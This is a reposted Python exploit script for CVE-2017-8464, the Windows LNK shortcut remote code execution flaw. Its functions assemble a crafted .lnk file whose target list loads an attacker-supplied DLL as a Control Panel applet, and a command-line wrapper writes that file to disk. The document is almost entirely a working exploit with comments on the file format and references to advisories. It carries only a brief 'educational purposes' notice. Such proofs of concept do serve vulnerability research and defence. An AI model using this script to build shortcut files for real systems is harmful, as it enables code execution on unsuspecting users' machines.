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Microsoft Windows - LNK Shortcut File Code Execution
来源:vfocus.net 作者:nixawk 发布时间:2017-08-07  
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
# Title             : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
# CVE               : 2017-8464
# Authors           : [ykoster, nixawk]
# Notice            : Only for educational purposes.
# Support           : python2
 
import struct
 
 
def generate_SHELL_LINK_HEADER():
    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # |  HeaderSize                                                   |
    # -----------------------------------------------------------------
    # |  LinkCLSID (16 bytes)                                         |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  LinkFlags                                                    |
    # -----------------------------------------------------------------
    # |  FileAttributes                                               |
    # -----------------------------------------------------------------
    # |  CreationTime                                                 |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  AccessTime                                                   |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  WriteTime                                                    |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  FileSize                                                     |
    # -----------------------------------------------------------------
    # |  IconIndex                                                    |
    # -----------------------------------------------------------------
    # |  ShowCommand                                                  |
    # -----------------------------------------------------------------
    # |  HotKey                       |   Reserved1                   |
    # -----------------------------------------------------------------
    # |  Reserved2                                                    |
    # -----------------------------------------------------------------
    # |  Reserved3                                                    |
    # -----------------------------------------------------------------
 
    shell_link_header = [
        b'\x4c\x00\x00\x00',                                                 # "HeaderSize"     : (4 bytes)
        b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID"      : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
        b'\x81\x00\x00\x00',                                                 # "LinkFlags"      : (4 bytes)  0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
        b'\x00\x00\x00\x00',                                                 # "FileAttributes" : (4 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "CreationTime"   : (8 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "AccessTime"     : (8 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "WriteTime"      : (8 bytes)
        b'\x00\x00\x00\x00',                                                 # "FileSize"       : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "IconIndex"      : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "ShowCommand"    : (4 bytes)
        b'\x00\x00',                                                         # "HotKey"         : (2 bytes)
        b'\x00\x00',                                                         # "Reserved1"      : (2 bytes)
        b'\x00\x00\x00\x00',                                                 # "Reserved2"      : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "Reserved3"      : (4 bytes)
    ]
 
    return b"".join(shell_link_header)
 
 
def generate_LINKTARGET_IDLIST(path, name):
    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # | IDListSize                     |   IDList(variable)           |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
 
    # IDList = ItemID + ItemID + ... + TerminalID
    #          ItemID = ItemIDSize + Data
 
    def generate_ItemID(Data):
        itemid = [
            struct.pack('H', len(Data) + 2),  # ItemIDSize + len(Data)
            Data
        ]
        # ItemIDSize = struct.pack('H', len(Data) + 2)  # ItemIDSize + len(Data)
 
        # return ItemIDSize + Data
 
        return b"".join(itemid)
 
    def generate_cpl_applet(path, name=name):
        name += b'\x00'
        path += b'\x00'
 
        bindata = [
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
            struct.pack('H', len(path)),
            struct.pack('H', len(name)),
            path.encode('utf-16')[2:],
            name.encode('utf-16')[2:],
            b"\x00\x00"  # comment
        ]
 
        return b"".join(bindata)
 
    idlist = [
        # ItemIDList
 
        generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
        generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
        generate_ItemID(generate_cpl_applet(path)),
 
        b'\x00\x00',  # TerminalID
    ]
 
    idlist = b"".join(idlist)
    idlistsize = struct.pack('H', len(idlist))
 
    linktarget_idlist = [
        idlistsize,
        idlist,
    ]
 
    return b"".join(linktarget_idlist)
 
 
def generate_EXTRA_DATA():
    # ExtraData refers to a set of structures that convey additional information about a link target. These
    # optional structures can be present in an extra data section that is appended to the basic Shell Link
    # Binary File Format.
 
    # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK
 
    # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
    #  ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
    # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
    # SHIM_PROPS / SPECIAL_FOLDER_PROPS /
    # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS
 
    # SpecialFolderDataBlock
 
    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # | BlockSize                                                     |
    # -----------------------------------------------------------------
    # | BlockSignatire                                                |
    # -----------------------------------------------------------------
    # | SpecialFolderID                                               |
    # -----------------------------------------------------------------
    # | Offset                                                        |
    # -----------------------------------------------------------------
 
    extra_data = [
        b'\x10\x00\x00\x00',
        b'\x05\x00\x00\xA0',
        b'\x03\x00\x00\x00',
        b'\x28\x00\x00\x00',
        b'\x00\x00\x00\x00'   # TERMINAL_BLOCK
    ]
 
    return b"".join(extra_data)
 
 
def ms_shllink(path, name=b"Microsoft"):
    '''build Shell Link (.LNK) Binary File Format'''
 
    lnk_format = [
 
        # Structures
 
        # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
        #              [STRING_DATA] *EXTRA_DATA
 
 
        # SHELL_LINK_HEADER:
        #     A ShelllinkHeader structure which contains identification information, timestamps, and
        #     flags that specify the presence of optional structures.
 
        generate_SHELL_LINK_HEADER(),
 
        # LINKTARGET_IDLIST:
        #     An optional LinkTargetIDList structure,  which specifies the target of the link. The
        #     presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
        #
        #
 
        generate_LINKTARGET_IDLIST(path, name),
 
        # LINKINFO:
        #     An optional LinkInfo structure, which specifies information necessary to resolve the link target.
        #     The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.
 
        # STRING_DATA:
        #     Zero or more optional StringData structures, which are used to convey user interface and path
        #     identification information. The presence of these structures is specified by bits in the ShellLinkHeader.
 
        # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
        #     [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]
 
        # EXTRA_DATA:
        #     Zero or more ExtraData structures
 
        generate_EXTRA_DATA()
    ]
 
    return b"".join(lnk_format)
 
 
if __name__ == '__main__':
    import sys
 
    if len(sys.argv) != 3:
        print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
        print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
        sys.exit(0)
 
    lnkpath = sys.argv[1]
    dllpath = sys.argv[2]
 
    bindata = ms_shllink(path=dllpath)
 
    with open(lnkpath, 'wb') as lnkf:
        lnkf.write(bindata)
 
 
## References
 
# 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
# 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
# 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
# 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
# 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
# 6. https://twitter.com/mkolsek/status/877499744704237568
# 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
# 8. https://github.com/rapid7/metasploit-framework/pull/8767
 
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